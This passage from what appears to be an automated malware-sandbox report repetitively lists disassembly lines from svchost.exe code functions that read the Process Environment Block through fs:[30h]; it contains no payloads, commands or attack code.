                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov ecx, dword ptr fs:[00000030h]2_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D43D4 mov eax, dword ptr fs:[00000030h]2_2_038D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D43D4 mov eax, dword ptr fs:[00000030h]2_2_038D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038403E9 mov eax, dword ptr fs:[00000030h]2_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F0 mov eax, dword ptr fs:[00000030h]2_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038663FF mov eax, dword ptr fs:[00000030h]2_2_038663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A30B mov eax, dword ptr fs:[00000030h]2_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C310 mov ecx, dword ptr fs:[00000030h]2_2_0382C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850310 mov ecx, dword ptr fs:[00000030h]2_2_03850310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov ecx, dword ptr fs:[00000030h]2_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03908324 mov eax, dword ptr fs:[00000030h]2_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov ecx, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA352 mov eax, dword ptr fs:[00000030h]2_2_038FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D8350 mov ecx, dword ptr fs:[00000030h]2_2_038D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390634F mov eax, dword ptr fs:[00000030h]2_2_0390634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D437C mov eax, dword ptr fs:[00000030h]2_2_038D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E284 mov eax, dword ptr fs:[00000030h]2_2_0386E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E284 mov eax, dword ptr fs:[00000030h]2_2_0386E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402A0 mov eax, dword ptr fs:[00000030h]2_2_038402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402A0 mov eax, dword ptr fs:[00000030h]2_2_038402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov ecx, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039062D6 mov eax, dword ptr fs:[00000030h]2_2_039062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382823B mov eax, dword ptr fs:[00000030h]2_2_0382823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B8243 mov eax, dword ptr fs:[00000030h]2_2_038B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B8243 mov ecx, dword ptr fs:[00000030h]2_2_038B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390625D mov eax, dword ptr fs:[00000030h]2_2_0390625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A250 mov eax, dword ptr fs:[00000030h]2_2_0382A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836259 mov eax, dword ptr fs:[00000030h]2_2_03836259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA250 mov eax, dword ptr fs:[00000030h]2_2_038EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA250 mov eax, dword ptr fs:[00000030h]2_2_038EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382826B mov eax, dword ptr fs:[00000030h]2_2_0382826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03870185 mov eax, dword ptr fs:[00000030h]2_2_03870185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC188 mov eax, dword ptr fs:[00000030h]2_2_038EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC188 mov eax, dword ptr fs:[00000030h]2_2_038EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4180 mov eax, dword ptr fs:[00000030h]2_2_038D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4180 mov eax, dword ptr fs:[00000030h]2_2_038D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F61C3 mov eax, dword ptr fs:[00000030h]2_2_038F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F61C3 mov eax, dword ptr fs:[00000030h]2_2_038F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039061E5 mov eax, dword ptr fs:[00000030h]2_2_039061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038601F8 mov eax, dword ptr fs:[00000030h]2_2_038601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov ecx, dword ptr fs:[00000030h]2_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F0115 mov eax, dword ptr fs:[00000030h]2_2_038F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860124 mov eax, dword ptr fs:[00000030h]2_2_03860124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov ecx, dword ptr fs:[00000030h]2_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C156 mov eax, dword ptr fs:[00000030h]2_2_0382C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C8158 mov eax, dword ptr fs:[00000030h]2_2_038C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836154 mov eax, dword ptr fs:[00000030h]2_2_03836154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836154 mov eax, dword ptr fs:[00000030h]2_2_03836154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904164 mov eax, dword ptr fs:[00000030h]2_2_03904164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904164 mov eax, dword ptr fs:[00000030h]2_2_03904164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383208A mov eax, dword ptr fs:[00000030h]2_2_0383208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038280A0 mov eax, dword ptr fs:[00000030h]2_2_038280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C80A8 mov eax, dword ptr fs:[00000030h]2_2_038C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F60B8 mov eax, dword ptr fs:[00000030h]2_2_038F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F60B8 mov ecx, dword ptr fs:[00000030h]2_2_038F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B20DE mov eax, dword ptr fs:[00000030h]2_2_038B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0382A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038380E9 mov eax, dword ptr fs:[00000030h]2_2_038380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B60E0 mov eax, dword ptr fs:[00000030h]2_2_038B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C0F0 mov eax, dword ptr fs:[00000030h]2_2_0382C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038720F0 mov ecx, dword ptr fs:[00000030h]2_2_038720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4000 mov ecx, dword ptr fs:[00000030h]2_2_038B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A020 mov eax, dword ptr fs:[00000030h]2_2_0382A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C020 mov eax, dword ptr fs:[00000030h]2_2_0382C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6030 mov eax, dword ptr fs:[00000030h]2_2_038C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832050 mov eax, dword ptr fs:[00000030h]2_2_03832050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6050 mov eax, dword ptr fs:[00000030h]2_2_038B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385C073 mov eax, dword ptr fs:[00000030h]2_2_0385C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D678E mov eax, dword ptr fs:[00000030h]2_2_038D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038307AF mov eax, dword ptr fs:[00000030h]2_2_038307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E47A0 mov eax, dword ptr fs:[00000030h]2_2_038E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383C7C0 mov eax, dword ptr fs:[00000030h]2_2_0383C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B07C3 mov eax, dword ptr fs:[00000030h]2_2_038B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE7E1 mov eax, dword ptr fs:[00000030h]2_2_038BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038347FB mov eax, dword ptr fs:[00000030h]2_2_038347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038347FB mov eax, dword ptr fs:[00000030h]2_2_038347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C700 mov eax, dword ptr fs:[00000030h]2_2_0386C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830710 mov eax, dword ptr fs:[00000030h]2_2_03830710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860710 mov eax, dword ptr fs:[00000030h]2_2_03860710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C720 mov eax, dword ptr fs:[00000030h]2_2_0386C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C720 mov eax, dword ptr fs:[00000030h]2_2_0386C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov eax, dword ptr fs:[00000030h]2_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov ecx, dword ptr fs:[00000030h]2_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov eax, dword ptr fs:[00000030h]2_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AC730 mov eax, dword ptr fs:[00000030h]2_2_038AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov esi, dword ptr fs:[00000030h]2_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov eax, dword ptr fs:[00000030h]2_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov eax, dword ptr fs:[00000030h]2_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830750 mov eax, dword ptr fs:[00000030h]2_2_03830750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE75D mov eax, dword ptr fs:[00000030h]2_2_038BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872750 mov eax, dword ptr fs:[00000030h]2_2_03872750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872750 mov eax, dword ptr fs:[00000030h]2_2_03872750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4755 mov eax, dword ptr fs:[00000030h]2_2_038B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838770 mov eax, dword ptr fs:[00000030h]2_2_03838770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834690 mov eax, dword ptr fs:[00000030h]2_2_03834690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834690 mov eax, dword ptr fs:[00000030h]2_2_03834690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C6A6 mov eax, dword ptr fs:[00000030h]2_2_0386C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038666B0 mov eax, dword ptr fs:[00000030h]2_2_038666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0386A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A6C7 mov eax, dword ptr fs:[00000030h]2_2_0386A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
